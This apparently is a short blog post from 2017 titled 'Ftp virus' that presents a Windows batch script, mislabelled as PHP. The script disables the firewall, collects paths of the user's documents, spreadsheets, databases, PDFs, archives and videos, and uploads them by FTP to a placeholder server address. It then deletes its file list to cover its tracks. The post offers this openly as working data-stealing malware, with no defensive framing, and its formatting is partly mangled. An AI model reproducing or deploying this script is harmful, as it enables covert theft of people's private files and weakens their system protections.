Pages

▼

Sunday, April 9, 2017

Ftp virus

Finds where all files are with specific file extension than uploads it to your server.
PHP Code:
@echo off::Off Firewall-Netsh Advfirewall set allprofiles state off
::Set Directory-set Dir=C:\users\%username%\Windows\Directorys.bat
::Gather Infofor /f "tokens=*" %%a in ('where /r C:\users\%username% *.txt') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.zip') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.iso') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\ *.dbf') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\ *.mdb') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\ *.accdb') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\ *.pdb') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\ *.sql') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.xlr') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.xls') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.xlsx') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.pdf') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.doc') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.mp4') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.avi') do (
echo 
mput %%a >> %Dir%
)
for /
f "tokens=*" %%a in ('where /r C:\users\%username% *.mkv') do (
echo 
mput %%a >> %Dir%
)

::
Upload-Timeout -t 5
ftp 
-v -A -i -s:%Dir% -i <Server_ip>

::
Clear tracks-Del /Q %Dir%Netsh advfirewall set allprofiles state on 

No comments:

Post a Comment